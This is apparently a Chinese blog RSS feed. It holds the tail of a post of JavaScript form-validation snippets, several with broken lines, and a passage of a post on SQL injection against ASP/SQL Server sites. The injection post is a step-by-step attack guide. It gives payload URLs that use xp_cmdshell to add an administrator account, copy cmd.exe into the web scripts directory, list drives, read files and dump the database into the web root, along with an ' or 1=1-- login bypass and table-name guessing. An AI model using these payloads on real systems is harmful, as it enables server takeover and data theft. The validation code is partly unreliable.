{&nbsp;&nbsp;&nbsp;&nbsp; <br />
j=strTemp.indexOf(TEL.charAt(i));&nbsp;&nbsp;&nbsp;&nbsp; <br />
if (j==-1)&nbsp;&nbsp;&nbsp;&nbsp; <br />
{&nbsp;&nbsp;&nbsp;&nbsp; <br />
//说明有字符不合法&nbsp;&nbsp;&nbsp;&nbsp; <br />
return 0;&nbsp;&nbsp;&nbsp;&nbsp; <br />
}&nbsp;&nbsp;&nbsp;&nbsp; <br />
}&nbsp;&nbsp;&nbsp;&nbsp; <br />
//说明合法&nbsp;&nbsp;&nbsp;&nbsp; <br />
return 1;&nbsp;&nbsp;&nbsp;&nbsp; <br />
}&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp; <br />
7. 判断输入是否为中文的函数&nbsp;&nbsp; <br />
---------------------------------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
function ischinese(s){&nbsp;&nbsp; <br />
var ret=true;&nbsp;&nbsp; <br />
for(var i=0;i&lt;s.length;i++)&nbsp;&nbsp; <br />
ret=ret &amp;&amp; (s.charCodeAt(i)&gt;=10000);&nbsp;&nbsp; <br />
return ret;&nbsp;&nbsp; <br />
}&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp; <br />
8. 综合的判断用户输入的合法性的函数&nbsp; <br />
---------------------------------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&lt;script language=&quot;javascri&#112;t&quot;&gt;&nbsp; <br />
//限制输入字符的位数开始&nbsp; <br />
//m是用户输入，n是要限制的位数&nbsp; <br />
function issmall(m,n)&nbsp; <br />
{&nbsp; <br />
if ((m&lt;n) &amp;&amp; (m&gt;0))&nbsp; <br />
&nbsp; {&nbsp; <br />
&nbsp; return(false);&nbsp; <br />
&nbsp; }&nbsp; <br />
else&nbsp; <br />
{return(true);}&nbsp; <br />
}&nbsp; <br />
&nbsp; <br />
9. 判断密码是否输入一致&nbsp; <br />
---------------------------------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
function issame(str1,str2)&nbsp; <br />
{&nbsp; <br />
if (str1==str2)&nbsp; <br />
{return(true);}&nbsp; <br />
else&nbsp; <br />
{return(false);}&nbsp; <br />
}&nbsp; <br />
&nbsp; <br />
10. 判断用户名是否为数字字母下滑线 <br />
---------------------------------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
function notchinese(str){ <br />
var reg=/[^A-Za-z0-9_]/g <br />
&nbsp;&nbsp;&nbsp; if (reg.test(str)){ <br />
&nbsp;&nbsp;&nbsp; return (false); <br />
&nbsp;&nbsp;&nbsp; }else{ <br />
return(true);&nbsp;&nbsp;&nbsp; } <br />
}</p>
<p>11. form文本域的通用校验函数<br />
---------------------------------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
作用：检测所有必须非空的input文本，比如姓名，账号，邮件地址等等。<br />
该校验现在只针对文本域，如果要针对form里面的其他域对象，可以改变判断条件。</p>
<p>使用方法：在要检测的文本域中加入title文字。文字是在提示信息，你要提示给用户的该字段的中文名。比如要检测用户名<br />
html如下&lt;input name=&quot;txt_1&quot; title=&quot;姓名&quot;&gt;,当然，最好用可视化工具比如dreamweaver什么的来编辑域。<br />
如果要检测数字类型数据的话，再把域的id统一为sz.<br />
javascri&#112;t判断日期类型比较麻烦，所以就没有做日期类型校验的程序了.高手可以补充。</p>
<p>程序比较草，只是提供一个思路。抛砖引玉！ ：）<br />
哦，对了，函数调用方法：&lt; form&nbsp; onsubmit=&quot;return dovalidate()&quot;&gt;</p>
<p>function dovalidate()<br />
{<br />
fm=document.forms[0] //只检测一个form,如果是多个可以改变判断条件<br />
&nbsp;&nbsp;&nbsp; for(i=0;i&lt;fm.length;i++)<br />
&nbsp;&nbsp;&nbsp; {&nbsp; <br />
&nbsp;&nbsp;&nbsp; //检测判断条件，根据类型不同可以修改<br />
&nbsp;&nbsp;&nbsp; if(fm[i].tagName.toUpperCase()==&quot;INPUT&quot; &amp;&amp;fm[i].type.toUpperCase()==&quot;TEXT&quot; &amp;&amp; (fm[i].title!=&quot;&quot;))<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(fm[i].value=&quot;/blog/=&quot;&quot;)//<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; str_warn1=fm[i].title+&quot;不能为空!&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; alert(str_warn1);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fm[i].focus();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(fm[i].id.toUpperCase()==&quot;SZ&quot;)//数字校验<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(isNaN(fm[i].value))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { str_warn2=fm[i].title+&quot;格式不对&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; alert(str_warn2);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fm[i].focus();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; return true;<br />
}</p>
<p><br />
2 &gt;表单提交验证类</p>
<p><br />
2.1 表单项不能为空</p>
<p>&lt;script language=&quot;javascri&#112;t&quot;&gt;<br />
&lt;!--<br />
function CheckForm()<br />
{ <br />
if (document.form.name.value.length == 0) { <br />
alert(&quot;请输入您姓名!&quot;);<br />
document.form.name.focus();<br />
return false;<br />
}<br />
return true;<br />
}<br />
--&gt;<br />
&lt;/script&gt;</p>
<p>2.2 比较两个表单项的值是否相同</p>
<p>&lt;script language=&quot;javascri&#112;t&quot;&gt;<br />
&lt;!--<br />
function CheckForm()<br />
if (document.form.PWD.value != document.form.PWD_Again.value) { <br />
alert(&quot;您两次输入的密码不一样！请重新输入.&quot;);<br />
document.ADDUser.PWD.focus();<br />
return false;<br />
}<br />
return true;<br />
}<br />
--&gt;<br />
&lt;/script&gt;</p>
<p>2.3 表单项只能为数字和&quot;_&quot;,用于电话/银行帐号验证上,可扩展到域名注册等</p>
<p>&lt;script language=&quot;javascri&#112;t&quot;&gt;<br />
&lt;!--<br />
function isNumber(String)<br />
{ <br />
var Letters = &quot;1234567890-&quot;; //可以自己增加可输入值<br />
var i;<br />
var c;<br />
if(String.charAt( 0 )=='-')<br />
return false;<br />
if( String.charAt( String.length - 1 ) == '-' )<br />
return false;<br />
for( i = 0; i &lt; String.length; i ++ )<br />
{ <br />
c = String.charAt( i );<br />
if (Letters.indexOf( c ) &lt; 0)<br />
return false;<br />
}<br />
return true;<br />
}<br />
function CheckForm()<br />
{ <br />
if(! isNumber(document.form.TEL.value)) { <br />
alert(&quot;您的电话号码不合法！&quot;);<br />
document.form.TEL.focus();<br />
return false;<br />
}<br />
return true;<br />
}<br />
--&gt;<br />
&lt;/script&gt;</p>
<p><br />
2.4 表单项输入数值/长度限定</p>
<p>&lt;script language=&quot;javascri&#112;t&quot;&gt;<br />
&lt;!--<br />
function CheckForm() <br />
{ <br />
if (document.form.count.value &gt; 100 || document.form.count.value &lt; 1)<br />
{ <br />
alert(&quot;输入数值不能小于零大于100!&quot;);<br />
document.form.count.focus();<br />
return false;<br />
}<br />
if (document.form.MESSAGE.value.length&lt;10)<br />
{ <br />
alert(&quot;输入文字小于10!&quot;);<br />
document.form.MESSAGE.focus();<br />
return false;<br />
}<br />
return true;<br />
}<br />
//--&gt;<br />
&lt;/script&gt;</p>
<p>2.5 中文/英文/数字/邮件地址合法性判断</p>
<p>&lt;SCRIPT LANGUAGE=&quot;javascri&#112;t&quot;&gt;<br />
&lt;!--</p>
<p>function isEnglish(name) //英文值检测<br />
{ <br />
if(name.length == 0)<br />
return false;<br />
for(i = 0; i &lt; name.length; i++) { <br />
if(name.charCodeAt(i) &gt; 128)<br />
return false;<br />
}<br />
return true;<br />
}</p>
<p>function isChinese(name) //中文值检测<br />
{ <br />
if(name.length == 0)<br />
return false;<br />
for(i = 0; i &lt; name.length; i++) { <br />
if(name.charCodeAt(i) &gt; 128)<br />
return true;<br />
}<br />
return false;<br />
}</p>
<p>function isMail(name) // E-mail值检测<br />
{ <br />
if(! isEnglish(name))<br />
return false;<br />
i = name.indexOf(&quot; at &quot;);<br />
j = name dot lastIndexOf(&quot; at &quot;);<br />
if(i == -1)<br />
return false;<br />
if(i != j)<br />
return false;<br />
if(i == name dot length)<br />
return false;<br />
return true;<br />
}</p>
<p>function isNumber(name) //数值检测<br />
{ <br />
if(name.length == 0)<br />
return false;<br />
for(i = 0; i &lt; name.length; i++) { <br />
if(name.charAt(i) &lt; &quot;0&quot; || name.charAt(i) &gt; &quot;9&quot;)<br />
return false;<br />
}<br />
return true;<br />
}</p>
<p>function CheckForm()<br />
{ <br />
if(! isMail(form.Email.value)) { <br />
alert(&quot;您的电子邮件不合法！&quot;);<br />
form.Email.focus();<br />
return false;<br />
}<br />
if(! isEnglish(form.name.value)) { <br />
alert(&quot;英文名不合法！&quot;);<br />
form.name.focus();<br />
return false;<br />
}<br />
if(! isChinese(form.cnname.value)) { <br />
alert(&quot;中文名不合法！&quot;);<br />
form.cnname.focus();<br />
return false;<br />
}<br />
if(! isNumber(form.PublicZipCode.value)) { <br />
alert(&quot;邮政编码不合法！&quot;);<br />
form.PublicZipCode.focus();<br />
return false;<br />
}<br />
return true;<br />
}<br />
//--&gt;<br />
&lt;/SCRIPT&gt;</p>
<p>2.6 限定表单项不能输入的字符</p>
<p>&lt;script language=&quot;javascri&#112;t&quot;&gt;<br />
&lt;!--</p>
<p>function contain(str,charset)// 字符串包含测试函数<br />
{ <br />
var i;<br />
for(i=0;i&lt;charset.length;i++)<br />
if(str.indexOf(charset.charAt(i))&gt;=0)<br />
return true;<br />
return false;<br />
}</p>
<p>function CheckForm()<br />
{ <br />
if ((contain(document.form.NAME.value, &quot;%\(\)&gt;&lt;&quot;)) || (contain(document.form.MESSAGE.value, &quot;%\(\)&gt;&lt;&quot;)))<br />
{ <br />
alert(&quot;输入了非法字符&quot;);<br />
document.form.NAME.focus();<br />
return false;<br />
}<br />
return true;<br />
}<br />
//--&gt;<br />
&lt;/script&gt;</p>
<p>&nbsp;</p>]]></description>
		</item>
		
			<item>
			<link>http://www.wtwlb.com/article.asp?id=196</link>
			<title><![CDATA[SQL注入不完全思路与防注入程序]]></title>
			<author>ningjian198906@163.com(nj)</author>
			<category><![CDATA[程序知识]]></category>
			<pubDate>Tue,04 May 2010 18:04:24 +0800</pubDate>
			<guid>http://www.wtwlb.com/default.asp?id=196</guid>
		<description><![CDATA[<p>&lt;一&gt;SQL注入简介</p>
<p>　　许多网站程序在编写时，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，（一般是在浏览器地址栏进行,通过正常的www端口访问）根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。</p>
<p>　　&lt;二&gt;SQL注入思路</p>
<p>　　思路最重要。其实好多人都不知道SQL到底能做什么呢？这里总结一下SQL注入入侵的总体的思路：</p>
<p>　　1. SQL注入漏洞的判断，即寻找注入点</p>
<p>　　2. 判断后台数据库类型</p>
<p>　　3. 确定XP_CMDSHELL可执行情况；若当前连接数据的帐号具有SA权限，且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行，则整个计算机可以通过几种方法完全控制，也就完成了整个注入过程，否则继续：</p>
<p>　　1. 发现WEB虚拟目录</p>
<p>　　2. 上传ASP木马；</p>
<p>　　3. 得到管理员权限</p>
<p>　　具体步骤：</p>
<p>　　一、SQL注入漏洞的判断</p>
<p>　　如果以前没玩过注入，请把IE菜单-工具-Internet选项－高级－显示友好HTTP错误信息前面的勾去掉。</p>
<p>　　为了把问题说明清楚，以下以<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a>(这个地址是假想的)，为例进行分析，xx可能是整型，也有可能是字符串。</p>
<p>　　1、整型参数的判断</p>
<p>　　当输入的参数xx为整型时，通常news.asp中SQL语句原貌大致如下：</p>
<p>select * from 表名 where 字段=xx，所以可以用以下步骤测试SQL注入是否存在。</p>
<p>　　最简单的判断方法</p>
<p><a href="http://www.163.com/news.asp?id=xx&rsquo;">HTTP://www.163.com/news.asp?id=xx&rsquo;</a>(附加一个单引号)，</p>
<p>　　此时news.asp中的SQL语句变成了</p>
<p>select * from 表名 where 字段=xx&rsquo;，</p>
<p>　　如果程序没有过滤好&ldquo;&rsquo;&rdquo;的话，就会提示 news.asp运行异常；但这样的方法虽然很简单，但并不是最好的，因为：</p>
<p>　　first,不一定每台服务器的IIS都返回具体错误提示给客户端，如果程序中加了cint(参数)之类语句的话，SQL注入是不会成功的，但服务器同样会报错，具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。</p>
<p>　　second，目前大多数程序员已经将&ldquo;&rsquo;&ldquo; 过滤掉，所以用&rdquo; &rsquo;&rdquo;测试不到注入点，所以一般使用经典的1=1和1=2测试方法，见下文：</p>
<p><a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and 1=1, news.asp运行正常，</p>
<p>　　而且与<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a>运行结果相同；</p>
<p><a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and 1=2, news.asp运行异常；（这就是经典的 1=1 1=2 判断方法）</p>
<p>　　如果以上面满足，news.asp中就会存在SQL注入漏洞，反之则可能不能注入。</p>
<p>　　2、字符串型参数的判断</p>
<p>　　方法与数值型参数判断方法基本相同</p>
<p>　　当输入的参数xx为字符串时，通常news.asp中SQL语句原貌大致如下：</p>
<p>select * from 表名 where 字段='xx'，所以可以用以下步骤测试SQL注入是否存在。</p>
<p><a href="http://www.163.com/news.asp?id=xx&rsquo;">HTTP://www.163.com/news.asp?id=xx&rsquo;</a>(附加一个单引号)，此时news.asp中的SQL语句变成了<br />
select * from 表名 where 字段=xx&rsquo;，news.asp运行异常；<br />
<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and &amp;#39;1'='1', news.asp运行正常，</p>
<p>　　而且与<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a>运行结果相同；</p>
<p><a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and &amp;#39;1'='2', news.asp运行异常；</p>
<p>　　如果以上满足，则news.asp存在SQL注入漏洞，反之则不能注入</p>
<p>　　3、特殊情况的处理</p>
<p>　　有时ASP程序员会在程序员过滤掉单引号等字符，以防止SQL注入。此时可以用以下几种方法试一试。</p>
<p>　　①大小定混合法：由于VBS并不区分大小写，而程序员在过滤时通常要么全部过滤大写字符串，要么全部过滤小写字符串，而大小写混合往往会被忽视。如用Select代替select,Select等；</p>
<p>　　②UNICODE法：在IIS中，以UNICODE字符集实现国际化，我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B，空格=%20 等；URLEncode信息参见附件一；</p>
<p>　　③ASCII码法：可以把输入的部分或全部字符全部</p>
<p>　　&lt;4&gt;出了上述方法以外，还有个更简单的方法就是使用现成的工具像NB联盟的NBSI就是一款很不错的工具，目前最新的版本为2.2</p>
<p>　　二、判断数据库类型</p>
<p>　　不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer，网上超过99%的网站都是其中之一。</p>
<p>　　怎么让程序告诉你它使用的什么数据库呢？来看看：</p>
<p>　　SQLServer有一些系统变量，如果服务器IIS提示没关闭，并且SQLServer返回错误提示的话，那可以直接从出错信息获取，方法如下： <br />
<a href="http://www.163.com/news.asp?id=xx;and">HTTP://www.163.com/news.asp?id=xx;and</a> user&gt;0</p>
<p>　　这句语句很简单，但却包含了SQLServer特有注入方法的精髓，我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的，重点在and user&gt;0，我们知道，user是SQLServer的一个内置变量，它的值是当前连接的用户名，类型为nvarchar。拿一个 nvarchar的值跟int的数0比较，系统会先试图将nvarchar的值转成int型，当然，转的过程中肯定会出错，SQLServer的出错提示是：将nvarchar值 &rdquo;abc&rdquo; 转换数据类型为 int 的列时发生语法错误，呵呵，abc正是变量user的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。 顺便说几句，众所周知，SQLServer的用户sa是个等同Adminstrators权限的角色，拿到了sa权限，几乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录，要注意的是：如果是sa登录，提示是将&rdquo;dbo&rdquo;转换成int的列发生错误，而不是&rdquo;sa&rdquo;。</p>
<p>　　如果服务器IIS不允许返回错误提示，那怎么判断数据库类型呢？我们可以从Access和SQLServer和区别入手，Access和 SQLServer都有自己的系统表，比如存放数据库中所有对象的表，Access是在系统表[msysobjects]中，但在Web环境下读该表会提示&ldquo;没有权限&rdquo;，SQLServer是在表[sysobjects]中，在Web环境下可正常读取。</p>
<p>　　在确认可以注入的情况下，使用下面的语句：</p>
<p><a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> ;and (select count(*) from sysobjects)&gt;0 <br />
<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> ;and (select count(*) from msysobjects)&gt;0</p>
<p>　　如果数据库是SQLServer，那么第一个网址的页面与原页面<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a>是大致相同的；而第二个网址，由于找不到表msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。</p>
<p>　　如果数据库用的是Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启IIS错误提示时的验证。</p>
<p>　　三、确定XP_CMDSHELL可执行情况</p>
<p>　　若当前连接数据的帐号具有SA权限，且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行，则整个计算机可以通过以下几种方法完全控制，以后的所有步骤都可以省</p>
<p>　　1、<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and user&gt;;0 news.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。</p>
<p>　　2、<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and db_name()&gt;0 news.asp执行异常但可以得到当前连接的数据库名。</p>
<p>　　3、<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a>；exec master..xp_cmdshell &ldquo;net user aaa bbb /add&rdquo;-- (master是SQL-SERVER的主数据<br />
库；名中的分号表示SQL-SERVER执行完分号前的语句名，继续执行其后面的语句；&ldquo;&mdash;&rdquo;号是注解，表示其后面的所有内容仅为注释，系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。</p>
<p>　　4、<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a>；exec master..xp_cmdshell &ldquo;net localgroup administrators aaa /add&rdquo;-- 把刚刚增加<br />
的帐户aaa加到administrators组中。</p>
<p>　　5、<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a>；backuup database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容<br />
全部备份到WEB目录下，再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。</p>
<p>　　6、通过复制CMD创建UNICODE漏洞</p>
<p><a href="http://www.163.com/news.asp?id=xx;exec">HTTP://www.163.com/news.asp?id=xx;exec</a> master.dbo.xp_cmdshell &ldquo;copy c:\winnt\system32\cmd.exe</p>
<p>　　c:\inetpub\scripts\cmd.exe&rdquo; 便制造了一个UNICODE漏洞，通过此漏洞的利用方法，便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。</p>
<p>　　这样你就成功的完成了一次SQL注入攻击，先别兴奋，在实践时你就会发现这比理论要难的多会有更多的困难等着你come over ，下面GO ON如果上述条件不成立则需继续奋斗（要挂马了：））</p>
<p>GO ON~!</p>
<p>　　当上述条件不成立时就要继续下面的步骤</p>
<p>　　(一)、发现WEB虚拟目录</p>
<p>　　只有找到WEB虚拟目录，才能确定放置ASP木马的位置，进而得到USER权限。有两种方法比较有效。</p>
<p>　　一是根据经验猜解，一般来说，WEB虚拟目录是：c:\inetpub\wwwroot;</p>
<p>D:\inetpub\wwwroot; E:\inetpub\wwwroot等，而可执行虚拟目录是：<br />
c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。</p>
<p>　　二是遍历系统的目录结构，分析结果并发现WEB虚拟目录；</p>
<p>　　先创建一个临时表：temp</p>
<p><a href="http://www.163.com/news.asp?id=xx;create">HTTP://www.163.com/news.asp?id=xx;create</a> table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 <br />
nvarchar(255));--</p>
<p>　　接下来：</p>
<p>　　1 我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中：</p>
<p><a href="http://www.163.com/news.asp?id=xx;insert">HTTP://www.163.com/news.asp?id=xx;insert</a> temp exec master.dbo.xp_availablemedia;--</p>
<p>　　我们可以通过查询temp的内容来获得驱动器列表及相关信息</p>
<p>　　2 我们可以利用xp_subdirs获得子目录列表,并存入temp表中：</p>
<p><a href="http://www.163.com/news.asp?id=xx;insert">HTTP://www.163.com/news.asp?id=xx;insert</a> into temp(id) exec master.dbo.xp_subdirs 'c:\';--</p>
<p>　　3 我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中：</p>
<p><a href="http://www.163.com/news.asp?id=xx;insert">HTTP://www.163.com/news.asp?id=xx;insert</a> into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--</p>
<p>　　这样就可以成功的浏览到所有的目录（文件夹）列表：</p>
<p>　　如果我们需要查看某个文件的内容，可以通过执行xp_cmdsell：</p>
<p><a href="http://www.163.com/news.asp?id=xx;insert">HTTP://www.163.com/news.asp?id=xx;insert</a> into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--</p>
<p>　　使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。如：bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp' <br />
浏览temp就可以看到index.asp文件的内容了！通过分析各种ASP文件，可以得到大量系统信息，WEB建设与管理信息，甚至可以得到SA帐号的连接密码。</p>
<p>　　当然，如果xp_cmshell能够执行，我们可以用它来完成：</p>
<p><a href="http://www.163.com/news.asp?id=xx;insert">HTTP://www.163.com/news.asp?id=xx;insert</a> into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--<br />
<a href="http://www.163.com/news.asp?id=xx;insert">HTTP://www.163.com/news.asp?id=xx;insert</a> into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--</p>
<p>　　通过xp_cmdshell我们可以看到所有想看到的，包括W3svc</p>
<p><a href="http://www.163.com/news.asp?id=xx;insert">HTTP://www.163.com/news.asp?id=xx;insert</a> into temp(id) exec master.dbo.xp_cmdshell 'cscript <br />
C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'</p>
<p>　　但是，如果不是SA权限，我们还可以使用</p>
<p><a href="http://www.163.com/news.asp?id=xx;insert">HTTP://www.163.com/news.asp?id=xx;insert</a> into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--</p>
<p>　　注意：</p>
<p>　　1、以上每完成一项浏览后，应删除TEMP中的所有内容，删除方法是：</p>
<p><a href="http://www.163.com/news.asp?id=xx;delete">HTTP://www.163.com/news.asp?id=xx;delete</a> from temp;--</p>
<p>　　2、浏览TEMP表的方法是：(假设TestDB是当前连接的数据库名)<br />
<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select top 1 id from TestDB.dbo.temp )&gt;0</p>
<p>　　得到表TEMP中第一条记录id字段的值，并与整数进行比较，显然news.asp工作异常，但在异常中却可以发现id字段的值。假设发现的表名是xyz，则</p>
<p><a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select top 1 id from TestDB.dbo.temp )&gt;0 where id not in('xyz'))&gt;0</p>
<p>　　得到表TEMP中第二条记录id字段的值。</p>
<p>　　(二)、上传ASP木马</p>
<p>　　所谓ASP木马，就是一段有特殊功能的ASP代码，并放入WEB虚拟目录的Scripts下，远程客户通过IE就可执行它，进而得到系统的USER权限，实现对系统的初步控制。上传ASP木马一般有两种比较有效的方法：</p>
<p>　　1、利用WEB的远程管理功能</p>
<p>　　许多WEB站点，为了维护的方便，都提供了远程管理的功能；也有不少WEB站点，其内容是对于不同的用户有不同的访问权限。为了达到对用户权限的控制，都有一个网页，要求用户名与密码，只有输入了正确的值，才能进行下一步的操作,可以实现对WEB的管理，如上传、下载文件，目录浏览、修改配置等。</p>
<p>　　因此，若获取正确的用户名与密码，不仅可以上传ASP木马，有时甚至能够直接得到USER权限而浏览系统，上一步的&ldquo;发现WEB虚拟目录&rdquo;的复杂操作都可省略。</p>
<p>　　用户名及密码一般存放在一张表中，发现这张表并读取其中内容便解决了问题。以下给出两种有效方法。</p>
<p>　　A、 注入法：</p>
<p>　　从理论上说，认证网页中会有型如：</p>
<p>　　select * from admin where username='XXX' and password='YYY' 的语句，若在正式运行此句之前，没有进行必要的字符过滤，则很容易实施SQL注入。</p>
<p>　　如在用户名文本框内输入：abc&rsquo; or 1=1-- 在密码框内输入：123 则SQL语句变成：</p>
<p>select * from admin where username='abc&rsquo; or 1=1 and password='123&rsquo;</p>
<p>　　不管用户输入任何用户名与密码，此语句永远都能正确执行，用户轻易骗过系统，获取合法身份。</p>
<p>　　B、猜解法：</p>
<p>　　基本思路是：猜解所有数据库名称，猜出库中的每张表名，分析可能是存放用户名与密码的表名，猜出表中的每个字段名，猜出表中的每条记录内容。</p>
<p>　　a 猜解所有数据库名称</p>
<p><a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select count(*) from master.dbo.sysdatabases where name&gt;1 and dbid=6) &lt;&gt;0</p>
<p>　　因为dbid的值从1到5，是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name&gt;1 (name字段是一个字符型的字段和数字比较会出错),news.asp工作异常，可得到第一个数据库名，同理把DBID分别改成7,8，9,10,11,12&hellip;就可得到所有数据库名。</p>
<p>　　以下假设得到的数据库名是TestDB。</p>
<p>　　b 猜解数据库中用户名表的名称</p>
<p>　　猜解法：此方法就是根据个人的经验猜表名，一般来说，</p>
<p>　　user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,<br />
systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通过语句进行判断</p>
<p>　　<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select count(*) from TestDB.dbo.表名)&gt;0 若表名存在，则news.asp工作正常，否则异常。如此循环，直到猜到系统帐号表的名称。</p>
<p>　　读取法：SQL-SERVER有一个存放系统核心信息的表sysobjects，有关一个库的所有表，视图等信息全部存放在此表中，而且此表可以通过WEB进行访问。</p>
<p>　　当xtype='U' and status&gt;0代表是用户建立的表，发现并分析每一个用户建立的表及名称，便可以得到用户名表的名称，基本的实现方法是：</p>
<p>　　①HTTP://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status&gt;0 )&gt;0 <br />
得到第一个用户建立表的名称，并与整数进行比较，显然news.asp工作异常，但在异常中却可以发现表的名称。假设发现的表名是xyz，则</p>
<p>　　②HTTP://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status&gt;0 and <br />
name not in('xyz'))&gt;0 可以得到第二个用户建立的表的名称，同理就可得到所有用建立的表的名称。</p>
<p>　　根据表的名称，一般可以认定那张表用户存放用户名及密码，以下假设此表名为Admin。</p>
